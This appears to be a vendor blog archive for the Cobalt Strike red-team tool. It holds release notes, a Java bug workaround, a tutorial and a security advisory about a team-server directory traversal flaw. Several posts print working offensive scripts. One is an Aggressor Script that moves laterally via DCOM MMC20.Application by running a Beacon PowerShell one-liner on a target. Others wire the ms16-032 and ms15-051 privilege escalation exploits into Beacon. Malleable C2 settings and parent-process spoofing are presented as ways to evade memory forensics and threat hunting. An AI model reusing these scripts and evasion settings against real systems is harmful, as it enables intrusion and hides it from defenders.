Archive for the ‘Cobalt Strike’ Category


Cobalt Strike 3.8 – Who’s Your Daddy?

May 23, 2017

Cobalt Strike 3.8 is now available. This release adds features to spawn processes with an alternate parent process. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows.

Processes with Alternate Parents

A favorite hunt technique is to instrument a host to report all new processes, their arguments, and the parent process. Hunt operators (and automated solutions) separate the noise from the interesting by looking for odd parent/child process relationships.

This release of Cobalt Strike pushes back on this technique with the ppid command. The PPID command tasks Beacon to launch cmd.exe, powershell.exe, and other processes with an alternate parent. This feature takes advantage of an API, introduced with Windows Vista, to enable consent.exe to launch elevated processes with the non-elevated requester as the parent.

This opens a lot of possibilities. For example, if I’m in a user context, I might set explorer.exe as my parent with something plausible (e.g, iexplore.exe) for my temporary processes. If I’m in a SYSTEM context, I might use services.exe as my parent process and ask Beacon to use svchost.exe for its temporary processes.

To benefit from the ppid command, your session must have rights to access the parent process. I also recommend that you specify a parent process that exists in the same desktop session. If you don’t, random commands and workflows may fail.

Another way to hop Desktop Sessions

It’s possible, with a few extra steps, to run commands under a parent that lives in another desktop session. Programs run this way will take on the rights and identity of their parent.

Beacon’s runu command runs an arbitrary command as a child of another parent. This command takes the necessary extra steps to do this across session boundaries.
The spawnu command builds on this primitive to spawn a session with powershell.exe.

These commands offer means to spawn a payload, in another desktop session, without remote process injection. As detection of remote process injection becomes more common, it’s important to have other ways to achieve our goals without this offensive technique.

The Resource Kit

Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates! The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. Go to Help -> Arsenal from a licensed copy of Cobalt Strike to download the Resource Kit.

The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.8. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.


Java Startup Bug in Java 1.8u131

April 26, 2017

If you recently updated your penetration testing environment, it’s possible you were greeted with a special surprise. Cobalt Strike and its team server will no longer start.

Instead of Cobalt Strike, you’re now greeted with this very intuitive and helpful error: The Parallel GC can not be combined with -XX:ParallelGCThreads=0.

I’ve had a few emails about this. My first answer: I have no idea what that means. Now, I have an answer! This is a known bug in Java 1.8u131. This recent update to Oracle’s Java introduces a change that breaks the -XX:+AggressiveHeap command line option Cobalt Strike uses. This command line option is not uncommon in the Java world and other applications are affected.

The Java team is aware of this bug and it has a priority level 2. This is the level reserved for Crashes, losses of data, and severe memory leaks. They’re taking it seriously and I expect this problem to go away in a coming Java update.

On Linux, one way to work around this Oracle Java bug is to update the cobaltstrike and teamserver scripts to specify the -XX:ParallelGCThreads=8 option after the java command.

I advise that you stay away from Oracle Java 1.8u131. If you already updated to Java 1.8u131, then downgrade to Java 1.8u121.

What about OpenJDK? I continue to recommend Oracle’s Java distribution for use with Cobalt Strike. Oracle’s Java distributions go through a series of acceptance tests to make sure the build is sane. This isn’t always the case with OpenJDK builds/packages. This has led to serious issues in the past.

Update May 23, 2017: Cobalt Strike 3.8 includes a work-around for this issue in its Linux, MacOS X, and Windows launchers. Download the 3.8 trial package to get the latest version of these launchers. This will address the issue.


Cobalt Strike 3.7 – Cat, Meet Mouse

March 15, 2017

The 8th release of the Cobalt Strike 3.0 series is now available. The release extends Malleable C2 to influence how Beacon lives in memory, adds code-signing for executables, and gives operators control over which proxy server Beacon uses. There’s a lot of good stuff here. Let’s dig into it.

Malleable PE

A key goal of Cobalt Strike is to challenge analysts and keep the toolset interesting as they and their capabilities evolve. Many forward leaning security programs rely on memory forensics to detect and respond to actors with capabilities similar to and beyond Cobalt Strike. This release adds some flexibility in this area.

Cobalt Strike 3.7’s Malleable C2 stage block specifies how Beacon lives in memory through changes to Beacon’s Reflective DLL stage. Here’s what this looks like:

stage {
	set userwx "false";
	set compile_time "14 Jul 2009 8:14:00";
	set image_size_x86 "512000";
	set image_size_x64 "512000";
	transform-x86 {
		prepend "\x90\x90"; # NOP, NOP!
		strrep "ReflectiveLoader" "DoLegitStuff";

	transform-x64 {
		# transform the x64 rDLL stage

Let’s start with permissions: Something magical happens when an analyst sweeps processes for RWX pages. Payloads fall out of the memory. Stagers fall out too. This is because many offensive tools use these liberal permissions, even when they’re not needed. The userwx option gives you control over this. Set userwx to false and Beacon’s Reflective DLL Loader will avoid these permissions.

Veteran analysts with multiple rounds of Cobalt Strike experience may know the size of Beacon’s reflective DLL in memory. I’ve heard 0x42000 thrown around many times. This is the SizeOfImage value in Beacon’s PE header. The image_size_x86 and image_size_x64 options control this value. If you emulate a specific threat actor, consider a SizeOfImage value that matches their malware.

Finally, in the cyber, attribution matters. Nothing feeds fantastical pet attribution theories quite like when the actor compiled their malware. The compile_time option changes this value in Beacon’s Reflective DLL header.

The transform-x86 and transform-x64 blocks pad and transform Beacon’s stage. If you choose to prepend data, make sure it’s valid code for the stage’s architecture. There’s no check for this.

The Malleable C2 documentation has more information on these new options.

Code Signing

This release adds a code signing capability to Cobalt Strike. This feature requires a valid code-signing certificate stored in a Java Keystore file. Those of you who’ve signed Cobalt Strike’s Java Applet already have one of these keystores available. Use Malleable C2’s code-signer block to tell Cobalt Strike about your code-signing certificate.

# setup code-signing certificate for our EXEs and DLLs
code-signer {
	set keystore "keystore.jks";
	set password "password";
	set alias    "server";

After you specify a certificate, the Sign executable file box in Attacks -> Packages -> Windows EXE and Attacks -> Packages -> Windows EXE (S) becomes available. Check this box and Cobalt Strike will sign your artifact. It’s as easy as that!

Proxy Override

I’ve had many requests for a way to specify alternate proxy settings for Beacon. This release adds user-specified proxy settings to Beacon’s stageless artifacts. Go to Attacks -> Packages -> Windows EXE (S) and press next to the proxy field to configure this option.

You may leave these proxy settings as-is (default), instruct Beacon to connect directly, or make Beacon use the proxy configuration and credentials that you specify. These options should help in a few situations.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.7. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.


Scripting Matt Nelson’s MMC20.Application Lateral Movement Technique

January 24, 2017

This is a short blog post with a long title. A few weeks ago, Matt Nelson published Lateral Movement Using the MMC20.APPLICATION COM Object (there’s a Part 2 as well!). The post documents an option, beyond the usual suspects (e.g., services, scheduled tasks, wmi, etc.), to ask a remote system to run a process for you.

Matt Nelson’s technique calls the ExecuteShellCommand method of the MMC20.Application COM object. One of the features of COM is its ability to remotely instantiate objects and call methods on them. By calling this method remotely, we can make the target system run a command to load our agent into memory or weaken the target’s configuration for other post-exploitation options.

In this post, I will show you how to add this technique to Cobalt Strike with Aggressor Script. Aggressor Script is Cobalt Strike’s scripting language to extend the Cobalt Strike client and add bots to your engagement. Making it easy to quickly add and use new TTPs from Cobalt Strike is very much one of Aggressor Script’s goals.

Here’s a script that adds a com-exec command to Beacon. This scripted command is similar to Beacon’s existing psexec, psexec_psh, wmi, and winrm commands for lateral movement.

# Lateral Movement alias

# register help for our alias
beacon_command_register("com-exec", "lateral movement with DCOM",
	"Synopsis: com-exec [target] [listener]\n\n" .
	"Run a payload on a target via DCOM MMC20.Application Object");

# here's our alias to collect our arguments
alias com-exec {
	if ($3 is $null) {
		# let the user choose a listener
			com_exec_go($bid, $target, $1);
		}, $bid => $1, $target => $2));
	else {
		# we have the needed arguments, pass them
		com_exec_go($1, $2, $3);

# this is the implementation of the attack
sub com_exec_go {
	local('$command $script $oneliner');

	# check if our listener exists
	if (listener_info($3) is $null) {
		berror($1, "Listener $3 does not exist");

	# state what we're doing.
	btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via DCOM");

	# generate a PowerShell one-liner to run our alias	
	$command = powershell($3, true, "x86");

	# remove "powershell.exe " from our command
	$command = strrep($command, "powershell.exe ", "");

	# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
	$script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
	$script .= $2;
	$script .=  '")).Document.ActiveView.ExecuteShellCommand("';
	$script .= 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe';
	$script .= '", $null, "';
	$script .= $command;
	$script .= '", "7")';

	# run the script we built up
	bpowershell!($1, $script);
	# complete staging process (for bind_pipe listeners)
	bstage($1, $2, $3);

This alias is similar to the lateral movement example in the Aggressor Script documentation. To use this alias: put the above into a script, load it, and use com-exec [target] [listener] within Beacon. If you type com-exec [target], Cobalt Strike will ask you which listener you want to use.

That’s it!


Cobalt Strike 3.6 – A Path for Privilege Escalation

December 8, 2016

Cobalt Strike 3.6 is now available. This release adds an API to use third-party privilege escalation exploits with Beacon and extends Malleable C2 to allow HTTP C&C without HTTP POST. This release also includes fixes and improvements for existing features.

Privilege Escalation API

This release adds an API to integrate privilege escalation exploits into Beacon’s elevate command.

Here’s what it looks like to integrate the PowerShell Empire variant of FuzzySec’s ms16-032 exploit into Beacon:

sub ms16_032_exploit {
	local('$script $oneliner');

	# acknowledge this command
	btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032");

	# generate a PowerShell script to run our Beacon listener
	$script = artifact($2, "powershell");

	# host this script within this Beacon
	$oneliner = beacon_host_script($1, $script);

	# task Beacon to run this exploit with our one-liner that runs Beacon
	bpowershell_import!($1, script_resource("modules/Invoke-MS16032.ps1"));
	bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");

	# give it another 10s to work.
	bpause($1, 10000);

	# handle staging
	bstage($1, $null, $2);

beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);

Let’s try something else! The Metasploit Framework implements many of its privilege escalation exploits as Reflective DLLs. The flow of these Metasploit privilege escalation exploits is: spawn a patsy process, inject the exploit logic into the patsy process, inject the payload stager shellcode into the patsy process, and pass a pointer to the injected shellcode when the exploit DLL is run.

What if it were possible to use these DLLs within Beacon, as-is? Thanks to Aggressor Script’s &bdllspawn function, this is now possible. This functions launches a Reflective DLL as a Beacon post-exploitation job. It can pass an arbitrary parameter to the DLL and it monitors STDOUT for output. The uses for this go far beyond privilege escalation! That said, here’s a script to use ms15_051_client_copy_image with Cobalt Strike’s Beacon payload:

sub ms15_051_exploit {
	# acknowledge this command
	btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051");

	# tune our parameters based on the target arch
	if (-is64 $1) {
		$arch   = "x64";
		$dll    = "modules/cve-2015-1701.x64.dll";
	else {
		$arch   = "x86";
		$dll    = "modules/cve-2015-1701.x86.dll";

	# generate our shellcode
	$stager = shellcode($2, false, $arch);

	# make sure we have shellcode for this listener (some stagers are x86 only)
	if ($stager is $null) {
		berror($1, "No $arch stager for listener ' $+ $2 $+ '");

	# spawn a Beacon post-ex job with the exploit DLL
	bdllspawn!($1, script_resource($dll), $stager, "ms15-051", 5000);

	# stage our payload (if this is a bind payload)
	bstage($1, $null, $2, $arch);

beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);

The goal of these functions is to make it easier for your team to integrate custom capability with Cobalt Strike and quickly adapt new exploits for use with Beacon as they become available.

The Elevate Kit

If you’d like more privilege escalation examples, check out the Elevate Kit. This is an Aggressor Script that demonstrates how to use PowerShell and Reflective DLL exploits with Cobalt Strike’s Beacon payload.

To use the Elevate Kit: download the elevate kit files and extract them to your Cobalt Strike client system. Go to Cobalt Strike -> Scripts, press Load, and select elevate.cna.

Within Beacon: type elevate by itself to see a list of loaded exploits. Type elevate [exploit name] [listener] to launch an exploit against the current Beacon session.

Malleable C2 – HTTP Beacon without HTTP POST

Take a look at this screenshot of Beacon communication with the webbug_getonly profile. Which screenshot is Beacon downloading tasks from Cobalt Strike? Which side is Beacon sending a response to Cobalt Strike?


This release adds a great deal of flexibility to Beacon’s HTTP communication via Malleable C2. You may now set the HTTP verb for Beacon’s http-get and http-post transactions. You may also push Beacon’s responses into the URI, a header, or a parameter. Beacon will automatically chunk its responses (and use multiple requests) to fit the constraints of an HTTP GET-only channel.

If you like to challenge analysts and craft profiles, these changes are a lot of fun. These changes also make it possible to “emulate” the HTTP traffic of different malware with much more fidelity.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.6. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

Important Trial Change

The Cobalt Strike 3.6 trial does not encrypt Beacon’s tasks and responses. The trial is built for evaluation in a lab environment. I would not use the 3.6 trial in a production environment. The licensed product does not have this limitation.


Cobalt Strike 3.5.1 – Important Security Update

October 3, 2016

Cobalt Strike 3.5.1 is now available. This release addresses a remote code execution vulnerability in Cobalt Strike. This vulnerability was discovered after a report of in-the-wild exploitation by a third-party. Cobalt Strike 3.5 and all prior versions are vulnerable. This includes 2.5 and below. Read last week’s advisory for more details.

Strategic Cyber LLC advises all Cobalt Strike users to update to Cobalt Strike 3.5.1.

Strategic Cyber LLC urges all Cobalt Strike users to sign-up for the Cobalt Strike Technical Notes mailing list. This list is Strategic Cyber LLC’s primary means to notify users of updates, security advisories, and to communicate other urgent notices.

The rest of this post describes the vulnerability and the hardening measures taken to mitigate it and its variants. This post also provides update advice for users who use older versions of Cobalt Strike to support long-running engagements.

The Vulnerability

Cobalt Strike’s team server is a controller for the Beacon post-exploitation payload. Cobalt Strike has options to serve and control the Beacon payload over HTTP, HTTPS, and DNS. Embedded within the Beacon payload are directives that tell the Beacon payload how to communicate with its team server.

By design, any party can download the Beacon payload and its embedded configuration. This allows a Beacon to bootstrap on a newly compromised system and take steps to authenticate and communicate with its team server. Conversely, this means the information a malicious actor needs to establish communication with a team server is available to them.

Once Beacon runs, its first job is to securely send a randomly generated session key and other information about itself (username, IP address, process ID, etc.) to its team server. Cobalt Strike refers to this information as session metadata.

After this, the Beacon periodically connects to its team server, asks for tasks, sends response directives, and goes back to sleep. These response directives are a limited set of actions that a Beacon may ask its team server to execute. Most of the responses simply format and present output to the user (e.g., keystrokes, output from a command, etc.).

Some response directives work together to support more complicated tasks. For example, there are three response directives that support file downloads.

The first file response directive starts a file download. This directive accepts as input an integer file ID, an integer that is the file length, and a string with the full path to the file on the remote system. This directive notifies users that a download has begun and it opens a handle to write the downloaded file to disk. This directive then associates the file ID with this handle.

The second file response directive accepts an integer file ID and a binary blob. This directive writes the binary blob to the file handle that maps to the file ID for the current session. A Beacon session may make multiple requests with this directive to send a large file to a team server.

The third file response directive accepts an integer file ID. This directive formally informs the team server that the file download is complete.

The team server does not map response directives to previous tasks. Once a client establishes a session, it has freedom to request execution of any response directives in any order or quantity.

The team server stores files it downloads into a fixed path. That path is downloads/[internal IP address of session]/[path/to/remote file].

The [path/to/remote file] input comes from the first file response directive. The team server took steps to sanitize this value in an attempt to prevent a directory traversal attack. These steps were not best practice for the Java platform, but some measure was in place. The information provided to Strategic Cyber LLC did not indicate that this value was the source of the directory traversal input.

What other input is there? There’s the [internal IP address of the session]. The team server uses this value to organize downloaded files and to organize its logs. Where does this value come from? It comes from the session metadata. Who controls the session metadata? The Beacon session controls this value.

This led to the root cause of the issue: The team server extracts information from the session metadata and makes that information available to other features as trusted information about that session. The team server did not validate these metadata parameters for expected form or sanitize these parameters for malicious inputs.

Hot Fix 1 took steps to mitigate the in-the-wild exploit and buy time for further investigation. Hot Fix 2 mitigated the identified root cause of this vulnerability and potential variants by adding strict checks and sanitization to the session metadata.

The Hardening Measures

This release restores functionality degraded by last week’s Hot Fixes for this vulnerability, improves on Hot Fix 2’s measures, and hardens the Cobalt Strike team server against this vulnerability and potential variants.

Here are the changes:

1. This release reworks the download response directives to use randomly generated names for downloaded files stored on the team server. Information about the downloaded files (name, where they came from, etc.) is logged to logs/[date]/downloads.log. The View -> Downloads tab displays the real file name and original remote path. The Sync Files button works as it did prior to the Hot Fixes.

2. The team server now uses a safe path concatenation function throughout its codebase. This function compares the canonical paths of the parent and candidate result to make sure the result doesn’t break out of its parent.

3. This release adds a host_stage option to Malleable C2. This option controls whether or not Cobalt Strike hosts Beacon stages for download over HTTP, HTTPS, and DNS. If set to false, staging functionality will be unavailable, but this is useful for teams with a no-network staging policy.

4. The team server now refuses to process a session if any of its metadata fails validity checks. This is a minor improvement on the changes made in Hot Fix 2.

5. The team server now denies new sessions with no prior tasks access to most response directives.

Update Advice (for those with Live Sessions)

If you have live accesses and can’t afford to lose control of them, then you’ll want to approach an update with caution.

If you have Cobalt Strike 3.2 and below with live sessions, do not update the team server in place. The 3.5.1 team server cannot control Beacons in 3.2 and below. Migrate your accesses to a new server with 3.5.1.

If you have Cobalt Strike 3.3 with live sessions, you may stop your team server and update in place. After this update, you should migrate accesses to new infrastructure.

If you have Cobalt Strike 3.4 or 3.5 with live sessions, then you may stop your team server and update in place to 3.5.1. Cobalt Strike 3.5.1 can control sessions from 3.4 and 3.5 with little or no impact. The ssh and ssh-key commands will not work in Beacons from Cobalt Strike 3.4.

Update Instructions

Licensed users may use the update program to get the latest. Trial users must download the trial again.

To verify that you have Cobalt Strike 3.5.1, go to Help -> About. The software will report version 3.5.1.


Cobalt Strike RCE. Active Exploitation Reported.

September 28, 2016


There is a remote code execution vulnerability in the Cobalt Strike team server.

A hot fix that breaks this particular exploit chain is available.

Customers may use the built-in update program to download an update with this hotfix. The latest trial download has this hotfix as well.

Strategic Cyber LLC is working on a comprehensive update for this issue. This comprehensive update will be available as soon as possible.

Update 29 Sept 2016: A second hot fix is available. The original hot fix was scoped to the reported attack chain. This second hot fix provides broader protection against the reported attack chain and potential variants. Cobalt Strike users are urged to update to the second hot fix until the comprehensive update is available.

Update 3 Oct 2016: Cobalt Strike 3.5.1 is now available. This release restores functionality degraded by the Hot Fixes for this vulnerability, improves on Hot Fix 2’s measures, and hardens the Cobalt Strike team server against this vulnerability and potential variants. This is the comprehensive update to address this vulnerability and its variants.

What happened?

Strategic Cyber LLC received a report with suspicious indicators of active exploitation from a third-party. Strategic Cyber LLC investigated the indicators and determined that the likelihood of a remote code execution vulnerability is high.

The Vulnerability

The vulnerability is a directory traversal attack allowed by improper sanitization of parameters in the file download feature of the Beacon and SSH session payloads.

One may connect to a Cobalt Strike listener, download the payload stage, use the information in the stage to fake a session, and craft a message to force Cobalt Strike to write a file to an arbitrary location.

Potential Indicators of Compromise

These are the indicators that may indicate an exploitation attempt:

1. a GET to /aaaa was one of the reported indicators. While this is a valid URI to grab a payload stage–Cobalt Strike randomizes this URI when it downloads a payload stage.

2. The activity report showed downloads of .config, /etc/crontab, and /etc/cron.d/.hourly.

3. The reporter states that the attacker cleared logs from the server, cleared the downloaded files, and cleared the Cobalt Strike data model and log files.

Steps to Mitigate

Trial users: download the trial for Cobalt Strike 3.5.1.

Customers: run the built-in update program to update to Cobalt Strike 3.5.1.

If you have Beacons that are already deployed with Cobalt Strike 3.5, 3.5-hf1 or 3.5-hf2, you may update to this release without affecting them. The fix is entirely in the controller.

To verify that you have the hot fix, go to Help -> System Information. Cobalt Strike will report its version as 20161003. Help -> About will state 3.5.1.

What’s affected?

All versions of Cobalt Strike 3.5 and below (without the hotfix) are affected.

It’s likely this issue also exists in the deprecated Cobalt Strike 2.x and below as well.

What’s next?

Strategic Cyber LLC will issue a comprehensive fix for this issue as soon as possible. As more information is available, Strategic Cyber LLC will post it to two places:

1. Updates to this blog post.

2. Emails will also go out to the Cobalt Strike Technical Notes mailing list.


Raphael Mudge, Strategic Cyber LLC


3 October 2016, 9:05am EST – Announce Cobalt Strike 3.5.1
29 September 2016, 5:45pm EST – Announce Hot Fix 2
28 September 2016, 7:05pm EST – Initial Announcement